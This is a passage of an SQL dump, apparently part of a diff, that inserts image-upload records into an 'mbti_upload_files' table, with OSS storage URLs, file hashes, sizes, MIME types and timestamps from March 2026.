'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f999b87.63229945.png', 'oss', 'e9c53355b41ca176a6e59dd51a5c78ec', 98521, 'image/jpeg', 'png', 1772520528, 1772520528); +INSERT INTO `mbti_upload_files` VALUES (27, 'mbti/20260303/img_69a6844f943017.17894021.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f943017.17894021.jpg', 'oss', 'c35fb9d393b36f1183a6feff7924059a', 165765, 'image/jpeg', 'jpg', 1772520528, 1772520528); +INSERT INTO `mbti_upload_files` VALUES (28, 'mbti/20260303/img_69a6844f95c675.65376842.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6844f95c675.65376842.png', 'oss', '5eb86c160a190bc4ac76dfb7254caaba', 100588, 'image/jpeg', 'png', 1772520528, 1772520528); +INSERT INTO `mbti_upload_files` VALUES (29, 'mbti/20260303/img_69a6bf356ec8f3.31976760.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf356ec8f3.31976760.jpg', 'oss', '832d10dd83b4e3cde3c16a58ba3b48ac', 4278, 'image/jpeg', 'jpg', 1772535605, 1772535605); +INSERT INTO `mbti_upload_files` VALUES (30, 'mbti/20260303/img_69a6bf65e22245.39292597.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e22245.39292597.jpg', 'oss', '3b9c6fd5cbc9ffa5d27d1fcc63f2529b', 105212, 'image/jpeg', 'jpg', 1772535654, 1772535654); +INSERT INTO `mbti_upload_files` VALUES (31, 'mbti/20260303/img_69a6bf65e87472.26700122.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65e87472.26700122.jpg', 'oss', 'f62c11ee04ee8b7c45d338d65440828f', 106974, 'image/jpeg', 'jpg', 1772535654, 1772535654); +INSERT INTO `mbti_upload_files` VALUES (32, 'mbti/20260303/img_69a6bf65eab8e8.93002415.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf65eab8e8.93002415.jpg', 'oss', 'c4b7862fba01e7572a9fbb692ca93ac2', 108085, 'image/jpeg', 'jpg', 1772535654, 1772535654); +INSERT INTO `mbti_upload_files` VALUES (33, 'mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a0dd3d5.87102829.jpg', 'oss', '66ae33cc7beedade807e560ab0758a77', 130819, 'image/jpeg', 'jpg', 1772535706, 1772535706); +INSERT INTO `mbti_upload_files` VALUES (34, 'mbti/20260303/img_69a6bf9a061600.44383458.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf9a061600.44383458.jpg', 'oss', 'bd3516219793e724bcef670d0c75a397', 129203, 'image/jpeg', 'jpg', 1772535706, 1772535706); +INSERT INTO `mbti_upload_files` VALUES (35, 'mbti/20260303/img_69a6bf99ee6e38.59427615.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bf99ee6e38.59427615.jpg', 'oss', 'dabdd1d6da43c1f28d2763e5d88eb616', 122807, 'image/jpeg', 'jpg', 1772535706, 1772535706); +INSERT INTO `mbti_upload_files` VALUES (36, 'mbti/20260303/img_69a6bfd222d9d6.63864125.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd222d9d6.63864125.jpg', 'oss', 'c8364605bd9ab6e7bccd25be9c88dd40', 109690, 'image/jpeg', 'jpg', 1772535762, 1772535762); +INSERT INTO `mbti_upload_files` VALUES (37, 'mbti/20260303/img_69a6bfd22f52f8.29998949.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd22f52f8.29998949.jpg', 'oss', '1a8f71164cf6355088eac5fe51a43332', 115557, 'image/jpeg', 'jpg', 1772535762, 1772535762); +INSERT INTO `mbti_upload_files` VALUES (38, 'mbti/20260303/img_69a6bfd25fb710.46559655.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260303/img_69a6bfd25fb710.46559655.jpg', 'oss', 'b1618aee81a107a2446367486e7b15fb', 120923, 'image/jpeg', 'jpg', 1772535764, 1772535764); +INSERT INTO `mbti_upload_files` VALUES (39, 'mbti/20260304/img_69a7d993a31264.28523714.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7d993a31264.28523714.png', 'oss', '7a238a038da6d5130c5a71c92aa51776', 59139, 'image/png', 'png', 1772607891, 1772607891); +INSERT INTO `mbti_upload_files` VALUES (40, 'mbti/20260304/img_69a7ee569a56a7.90410485.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7ee569a56a7.90410485.png', 'oss', 'd9678bc69b24ea37b6c88ad83dc9ec8a', 58195, 'image/png', 'png', 1772613206, 1772613206); +INSERT INTO `mbti_upload_files` VALUES (41, 'mbti/20260304/img_69a7f4bb529f73.42463703.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260304/img_69a7f4bb529f73.42463703.png', 'oss', '20e4e82888525a3ec090187cb416e17b', 54753, 'image/png', 'png', 1772614843, 1772614843); +INSERT INTO `mbti_upload_files` VALUES (42, 'mbti/20260305/img_69a92fe4320f98.44874477.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260305/img_69a92fe4320f98.44874477.png', 'oss', '2be5305fef3d4f09ae494774eaa7f158', 176555, 'image/png', 'png', 1772695524, 1772695524); +INSERT INTO `mbti_upload_files` VALUES (43, 'mbti/20260305/img_69a93009e76ba4.00229379.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260305/img_69a93009e76ba4.00229379.png', 'oss', '7c45fe7e65fd901be08390d0467780bc', 1020534, 'image/png', 'png', 1772695562, 1772695562); +INSERT INTO `mbti_upload_files` VALUES (44, 'mbti/20260310/img_69af801d8441f3.91458120.png', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69af801d8441f3.91458120.png', 'oss', 'f5e623af3f383d66ba8c2d71d7ee8514', 392310, 'image/png', 'png', 1773109278, 1773109278); +INSERT INTO `mbti_upload_files` VALUES (45, 'mbti/20260310/img_69afc570e96293.69974803.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc570e96293.69974803.jpg', 'oss', '20b939f680d6bf3154d0344cd64f77bb', 197820, 'image/jpeg', 'jpg', 1773127025, 1773127025); +INSERT INTO `mbti_upload_files` VALUES (46, 'mbti/20260310/img_69afc570e2cab1.94981947.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc570e2cab1.94981947.jpg', 'oss', 'e4c32699227a63a2965ad919266dc260', 203490, 'image/jpeg', 'jpg', 1773127025, 1773127025); +INSERT INTO `mbti_upload_files` VALUES (47, 'mbti/20260310/img_69afc570ed56b4.72858503.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc570ed56b4.72858503.jpg', 'oss', '3c1c899e7a604d4eb5c2ee15eeb301fd', 203421, 'image/jpeg', 'jpg', 1773127025, 1773127025); +INSERT INTO `mbti_upload_files` VALUES (48, 'mbti/20260310/img_69afc606a57237.43033150.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606a57237.43033150.jpg', 'oss', '4be1aa248ced86f591bb060f355fbd51', 267603, 'image/jpeg', 'jpg', 1773127174, 1773127174); +INSERT INTO `mbti_upload_files` VALUES (49, 'mbti/20260310/img_69afc606bdb774.70305849.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606bdb774.70305849.jpg', 'oss', '234b04c50567e049306ce16abd48c73d', 266973, 'image/jpeg', 'jpg', 1773127175, 1773127175); +INSERT INTO `mbti_upload_files` VALUES (50, 'mbti/20260310/img_69afc606dde213.19573884.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc606dde213.19573884.jpg', 'oss', 'e029e630cfda7d25052c76c5ad9736fd', 267240, 'image/jpeg', 'jpg', 1773127176, 1773127176); +INSERT INTO `mbti_upload_files` VALUES (51, 'mbti/20260310/img_69afc7fc2926a7.60132403.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc7fc2926a7.60132403.jpg', 'oss', '1a3fcc3231fd1caad238d251952c65d5', 96512, 'image/jpeg', 'jpg', 1773127676, 1773127676); +INSERT INTO `mbti_upload_files` VALUES (52, 'mbti/20260310/img_69afc8ceabbea7.94372759.jpeg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afc8ceabbea7.94372759.jpeg', 'oss', '810969db03135c061f2c757a4aaee4cf', 3739, 'image/jpeg', 'jpeg', 1773127886, 1773127886); +INSERT INTO `mbti_upload_files` VALUES (53, 'mbti/20260310/img_69afd37bd4cf40.31378569.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bd4cf40.31378569.jpg', 'oss', '5b024629ed8b57c01a8ed60345e517bb', 251545, 'image/jpeg', 'jpg', 1773130620, 1773130620); +INSERT INTO `mbti_upload_files` VALUES (54, 'mbti/20260310/img_69afd37be9c8f5.89224540.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37be9c8f5.89224540.jpg', 'oss', 'f31aae364ba9b2a8d021a53a32125d07', 265650, 'image/jpeg', 'jpg', 1773130620, 1773130620); +INSERT INTO `mbti_upload_files` VALUES (55, 'mbti/20260310/img_69afd37bed97c8.21150938.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afd37bed97c8.21150938.jpg', 'oss', '3af1ed5cb4d9b56fa94d8c232de1d2e5', 249447, 'image/jpeg', 'jpg', 1773130621, 1773130621); +INSERT INTO `mbti_upload_files` VALUES (56, 'mbti/20260310/img_69afdf0dee57b7.63622949.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0dee57b7.63622949.jpg', 'oss', '6344cf4169a1b8b922b50ff6ed5a6af3', 108930, 'image/jpeg', 'jpg', 1773133582, 1773133582); +INSERT INTO `mbti_upload_files` VALUES (57, 'mbti/20260310/img_69afdf0e1c4ee9.23218328.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e1c4ee9.23218328.jpg', 'oss', '563e035636b21df3d70f2c7c5a67ef82', 260914, 'image/jpeg', 'jpg', 1773133582, 1773133582); +INSERT INTO `mbti_upload_files` VALUES (58, 'mbti/20260310/img_69afdf0e208c94.70625181.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afdf0e208c94.70625181.jpg', 'oss', 'b282006653e3049c61d5e8d7c75d0224', 241849, 'image/jpeg', 'jpg', 1773133582, 1773133582); +INSERT INTO `mbti_upload_files` VALUES (59, 'mbti/20260310/img_69afede13bda54.82616891.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede13bda54.82616891.jpg', 'oss', '3e37bc6c5c1f906b5a71e66e623d7bb1', 39009, 'image/jpeg', 'jpg', 1773137377, 1773137377); +INSERT INTO `mbti_upload_files` VALUES (60, 'mbti/20260310/img_69afede1498fb4.13618523.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede1498fb4.13618523.jpg', 'oss', '4b2899e0d705037dea5bccc3095c100e', 41406, 'image/jpeg', 'jpg', 1773137377, 1773137377); +INSERT INTO `mbti_upload_files` VALUES (61, 'mbti/20260310/img_69afede146fe35.05214291.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afede146fe35.05214291.jpg', 'oss', '4ecc5969a624b2fedf1735508cb9927d', 34525, 'image/jpeg', 'jpg', 1773137377, 1773137377); +INSERT INTO `mbti_upload_files` VALUES (62, 'mbti/20260310/img_69afee07d6f7a9.18847402.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d6f7a9.18847402.jpg', 'oss', '329f969ee25c319e364651dbfb3ebb10', 38585, 'image/jpeg', 'jpg', 1773137415, 1773137415); +INSERT INTO `mbti_upload_files` VALUES (63, 'mbti/20260310/img_69afee07df7c91.55175853.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07df7c91.55175853.jpg', 'oss', '10c2ffac870a37534aaa70726e833c4b', 40416, 'image/jpeg', 'jpg', 1773137415, 1773137415); +INSERT INTO `mbti_upload_files` VALUES (64, 'mbti/20260310/img_69afee07d96652.90735834.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260310/img_69afee07d96652.90735834.jpg', 'oss', '1e126a209f9151b79f51cc2ff514b2b6', 36305, 'image/jpeg', 'jpg', 1773137416, 1773137416); +INSERT INTO `mbti_upload_files` VALUES (65, 'mbti/20260311/img_69b122201c4ba5.05315027.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122201c4ba5.05315027.jfif', 'oss', '395eebe591cf2c31b245cde43c083017', 140002, 'image/jpeg', 'jfif', 1773216290, 1773216290); +INSERT INTO `mbti_upload_files` VALUES (66, 'mbti/20260311/img_69b122215f6c00.42725600.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122215f6c00.42725600.jfif', 'oss', 'b44035a5c43461e55478617b4dfb8f24', 147500, 'image/jpeg', 'jfif', 1773216292, 1773216292); +INSERT INTO `mbti_upload_files` VALUES (67, 'mbti/20260311/img_69b1222162dfb3.33149884.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1222162dfb3.33149884.jfif', 'oss', '930bb139f81eb4602e8277503f85dc19', 159211, 'image/jpeg', 'jfif', 1773216293, 1773216293); +INSERT INTO `mbti_upload_files` VALUES (68, 'mbti/20260311/img_69b1229473c992.26199330.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1229473c992.26199330.jfif', 'oss', '7a3038f690f4e2149a54a28556fe8f1f', 126656, 'image/jpeg', 'jfif', 1773216404, 1773216404); +INSERT INTO `mbti_upload_files` VALUES (69, 'mbti/20260311/img_69b12294706aa6.28073503.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12294706aa6.28073503.jfif', 'oss', '2b9c5669701817d84f80eee55cc8ecd2', 136450, 'image/jpeg', 'jfif', 1773216404, 1773216404); +INSERT INTO `mbti_upload_files` VALUES (70, 'mbti/20260311/img_69b122946a54c6.37603583.jfif', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b122946a54c6.37603583.jfif', 'oss', '9b48790fddccaf294b050cc8f49d71d8', 142878, 'image/jpeg', 'jfif', 1773216404, 1773216404); +INSERT INTO `mbti_upload_files` VALUES (71, 'mbti/20260311/img_69b128d154dcb8.48696739.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154dcb8.48696739.jpg', 'oss', 'c49cc6b635abcc1a69389c72b9806fc1', 126764, 'image/jpeg', 'jpg', 1773218001, 1773218001); +INSERT INTO `mbti_upload_files` VALUES (72, 'mbti/20260311/img_69b128d154df95.81703712.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d154df95.81703712.jpg', 'oss', '2e910aabcbd4c059507da065ce66e530', 99583, 'image/jpeg', 'jpg', 1773218001, 1773218001); +INSERT INTO `mbti_upload_files` VALUES (73, 'mbti/20260311/img_69b128d15502b8.73103052.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b128d15502b8.73103052.jpg', 'oss', '7cf9f2be739fd083df9d13e13b6d6a9a', 99851, 'image/jpeg', 'jpg', 1773218001, 1773218001); +INSERT INTO `mbti_upload_files` VALUES (74, 'mbti/20260311/img_69b129125da054.82470920.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b129125da054.82470920.jpg', 'oss', 'fdec09189ad31de155fd312389f31877', 109422, 'image/jpeg', 'jpg', 1773218066, 1773218066); +INSERT INTO `mbti_upload_files` VALUES (75, 'mbti/20260311/img_69b12912575b20.55637872.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12912575b20.55637872.jpg', 'oss', 'c6f76ff24b55b4455f47c0aa65e86eb4', 108104, 'image/jpeg', 'jpg', 1773218066, 1773218066); +INSERT INTO `mbti_upload_files` VALUES (76, 'mbti/20260311/img_69b1291258aed8.61725123.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1291258aed8.61725123.jpg', 'oss', '514bbf423470dfaebca34840db697f5c', 110522, 'image/jpeg', 'jpg', 1773218066, 1773218066); +INSERT INTO `mbti_upload_files` VALUES (77, 'mbti/20260311/img_69b12c1ef0a945.93981460.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1ef0a945.93981460.jpg', 'oss', '855f2c94fd9d441b9679a44121c5db35', 121566, 'image/jpeg', 'jpg', 1773218847, 1773218847); +INSERT INTO `mbti_upload_files` VALUES (78, 'mbti/20260311/img_69b12c1f03ae52.89961796.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f03ae52.89961796.jpg', 'oss', 'bc66272b2846da28d72008e10b8411ee', 116232, 'image/jpeg', 'jpg', 1773218847, 1773218847); +INSERT INTO `mbti_upload_files` VALUES (79, 'mbti/20260311/img_69b12c1f0baf53.84218867.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12c1f0baf53.84218867.jpg', 'oss', 'd6c5ce4427962417f38e705d90cb4ca4', 121973, 'image/jpeg', 'jpg', 1773218847, 1773218847); +INSERT INTO `mbti_upload_files` VALUES (80, 'mbti/20260311/img_69b12e04905ca8.13020785.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04905ca8.13020785.jpg', 'oss', 'e317f454a4c121ed4cc5900254c4f5d1', 117972, 'image/jpeg', 'jpg', 1773219333, 1773219333); +INSERT INTO `mbti_upload_files` VALUES (81, 'mbti/20260311/img_69b12e04924b36.48351571.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e04924b36.48351571.jpg', 'oss', '1573210c9170e713bb8787a0c66b8495', 123427, 'image/jpeg', 'jpg', 1773219333, 1773219333); +INSERT INTO `mbti_upload_files` VALUES (82, 'mbti/20260311/img_69b12e049f74d0.23514689.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e049f74d0.23514689.jpg', 'oss', 'bafbc654e74c6a8ce82ad9fa8cca8363', 125148, 'image/jpeg', 'jpg', 1773219333, 1773219333); +INSERT INTO `mbti_upload_files` VALUES (83, 'mbti/20260311/img_69b12e17e48f79.80563960.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e48f79.80563960.jpg', 'oss', '0027b5729ea7282f8bd98574e9389349', 120208, 'image/jpeg', 'jpg', 1773219352, 1773219352); +INSERT INTO `mbti_upload_files` VALUES (84, 'mbti/20260311/img_69b12e17e5b252.86311668.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e17e5b252.86311668.jpg', 'oss', '506ea02dafe435552668874c1d7c0c65', 129913, 'image/jpeg', 'jpg', 1773219352, 1773219352); +INSERT INTO `mbti_upload_files` VALUES (85, 'mbti/20260311/img_69b12e1826fc05.57970226.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b12e1826fc05.57970226.jpg', 'oss', 'd121680da07428ec87db54b9b81d9b35', 127374, 'image/jpeg', 'jpg', 1773219353, 1773219353); +INSERT INTO `mbti_upload_files` VALUES (86, 'mbti/20260311/img_69b13ab171e520.51202929.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab171e520.51202929.jpg', 'oss', 'e39c576e6239becee2b333bfb05b7a7a', 146000, 'image/jpeg', 'jpg', 1773222577, 1773222577); +INSERT INTO `mbti_upload_files` VALUES (87, 'mbti/20260311/img_69b13ab163f450.57707298.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab163f450.57707298.jpg', 'oss', 'dc932dc407a57f3b334b8930981ca537', 153759, 'image/jpeg', 'jpg', 1773222577, 1773222577); +INSERT INTO `mbti_upload_files` VALUES (88, 'mbti/20260311/img_69b13ab1747880.84872798.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b13ab1747880.84872798.jpg', 'oss', '51a4325ac73792a03e67c100267fe425', 178084, 'image/jpeg', 'jpg', 1773222577, 1773222577); +INSERT INTO `mbti_upload_files` VALUES (89, 'mbti/20260311/img_69b14dc8538c07.76208125.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8538c07.76208125.jpg', 'oss', '40a5eb10010afa4da9b55be7856b6b2f', 170198, 'image/jpeg', 'jpg', 1773227464, 1773227464); +INSERT INTO `mbti_upload_files` VALUES (90, 'mbti/20260311/img_69b14dc8575d08.12155284.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc8575d08.12155284.jpg', 'oss', '981a3f4809a522a3905fcd37271e955d', 167458, 'image/jpeg', 'jpg', 1773227464, 1773227464); +INSERT INTO `mbti_upload_files` VALUES (91, 'mbti/20260311/img_69b14dc853fc54.58224611.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14dc853fc54.58224611.jpg', 'oss', 'c09ab1ab078d40810cebac61787d35fb', 164566, 'image/jpeg', 'jpg', 1773227465, 1773227465); +INSERT INTO `mbti_upload_files` VALUES (92, 'mbti/20260311/img_69b14e40ae20b9.53607517.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14e40ae20b9.53607517.jpg', 'oss', '8ddbe41959187eb360aea40e98d81ef9', 4389, 'image/jpeg', 'jpg', 1773227584, 1773227584); +INSERT INTO `mbti_upload_files` VALUES (93, 'mbti/20260311/img_69b14f4a44cf41.09820406.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14f4a44cf41.09820406.jpg', 'oss', '0a3d1afe8ab13d4e34f955003ca8c7d4', 69706, 'image/jpeg', 'jpg', 1773227850, 1773227850); +INSERT INTO `mbti_upload_files` VALUES (94, 'mbti/20260311/img_69b14fe6e4e8e8.79302362.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6e4e8e8.79302362.jpg', 'oss', '2d49facb79942ed6098b165496bcf475', 115505, 'image/jpeg', 'jpg', 1773228007, 1773228007); +INSERT INTO `mbti_upload_files` VALUES (95, 'mbti/20260311/img_69b14fe6effb19.11783053.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe6effb19.11783053.jpg', 'oss', 'b3651bcc0238b373bac9184d3a7e64fd', 121426, 'image/jpeg', 'jpg', 1773228007, 1773228007); +INSERT INTO `mbti_upload_files` VALUES (96, 'mbti/20260311/img_69b14fe704cf56.15509327.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b14fe704cf56.15509327.jpg', 'oss', '4900f43385f32594e0542aeaa0e45be4', 122027, 'image/jpeg', 'jpg', 1773228008, 1773228008); +INSERT INTO `mbti_upload_files` VALUES (97, 'mbti/20260311/img_69b15028cc9d67.04689669.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028cc9d67.04689669.jpg', 'oss', 'b1e800a3a795935069b4ab1a31917c29', 122984, 'image/jpeg', 'jpg', 1773228073, 1773228073); +INSERT INTO `mbti_upload_files` VALUES (98, 'mbti/20260311/img_69b15028ccd066.43636225.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ccd066.43636225.jpg', 'oss', '6f158bcea443e18cfd3310c76a50a436', 120914, 'image/jpeg', 'jpg', 1773228073, 1773228073); +INSERT INTO `mbti_upload_files` VALUES (99, 'mbti/20260311/img_69b15028ce1643.64175223.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b15028ce1643.64175223.jpg', 'oss', 'fc7c66436b4a6951db2c651d9c2324a7', 120377, 'image/jpeg', 'jpg', 1773228073, 1773228073); +INSERT INTO `mbti_upload_files` VALUES (100, 'mbti/20260311/img_69b1516bac84a6.20264714.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bac84a6.20264714.jpg', 'oss', '112209e613570cda5e0320f04ef0e4fd', 153274, 'image/jpeg', 'jpg', 1773228395, 1773228395); +INSERT INTO `mbti_upload_files` VALUES (101, 'mbti/20260311/img_69b1516ba4bf30.72712934.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516ba4bf30.72712934.jpg', 'oss', '3b1d0c359ac4e578b722d8010009e033', 153680, 'image/jpeg', 'jpg', 1773228396, 1773228396); +INSERT INTO `mbti_upload_files` VALUES (102, 'mbti/20260311/img_69b1516bb5a282.82864273.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b1516bb5a282.82864273.jpg', 'oss', 'd2817f45e62023d426af5e1a869ba2b7', 151364, 'image/jpeg', 'jpg', 1773228396, 1773228396); +INSERT INTO `mbti_upload_files` VALUES (103, 'mbti/20260311/img_69b151a3f3c0b5.68589567.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3f3c0b5.68589567.jpg', 'oss', '134dd68939a27b2a1d973ef9960cce40', 166121, 'image/jpeg', 'jpg', 1773228452, 1773228452); +INSERT INTO `mbti_upload_files` VALUES (104, 'mbti/20260311/img_69b151a3ed78b1.95279640.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3ed78b1.95279640.jpg', 'oss', '502b8440cd6bccce64d5058e10ff194d', 165584, 'image/jpeg', 'jpg', 1773228452, 1773228452); +INSERT INTO `mbti_upload_files` VALUES (105, 'mbti/20260311/img_69b151a3eba629.60383383.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b151a3eba629.60383383.jpg', 'oss', 'daccbd84b40e644769025d9e69277ade', 169727, 'image/jpeg', 'jpg', 1773228452, 1773228452); +INSERT INTO `mbti_upload_files` VALUES (106, 'mbti/20260311/img_69b152a11237f1.79404762.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a11237f1.79404762.jpg', 'oss', '766dc74560baf9a631b9cb4fca87b45b', 147954, 'image/jpeg', 'jpg', 1773228705, 1773228705); +INSERT INTO `mbti_upload_files` VALUES (107, 'mbti/20260311/img_69b152a0eb0481.53858657.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0eb0481.53858657.jpg', 'oss', '4f7d7b697ae8525e9dc6ea62c55efb18', 165695, 'image/jpeg', 'jpg', 1773228705, 1773228705); +INSERT INTO `mbti_upload_files` VALUES (108, 'mbti/20260311/img_69b152a0f32570.64051638.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152a0f32570.64051638.jpg', 'oss', 'efd29da39c44fe96d4da9ed8dce04c15', 139846, 'image/jpeg', 'jpg', 1773228705, 1773228705); +INSERT INTO `mbti_upload_files` VALUES (109, 'mbti/20260311/img_69b152e6decb88.39454837.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6decb88.39454837.jpg', 'oss', 'f45c70d40e294276e6d75d59f80713cf', 137357, 'image/jpeg', 'jpg', 1773228775, 1773228775); +INSERT INTO `mbti_upload_files` VALUES (110, 'mbti/20260311/img_69b152e6db9b37.88275148.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e6db9b37.88275148.jpg', 'oss', '1cbd694fd6fc4db365e90aceff1bd2ec', 142606, 'image/jpeg', 'jpg', 1773228775, 1773228775); +INSERT INTO `mbti_upload_files` VALUES (111, 'mbti/20260311/img_69b152e703d9a8.06342422.jpg', 'https://karuosiyujzk.oss-cn-shenzhen.aliyuncs.com/mbti/20260311/img_69b152e703d9a8.06342422.jpg', 'oss', 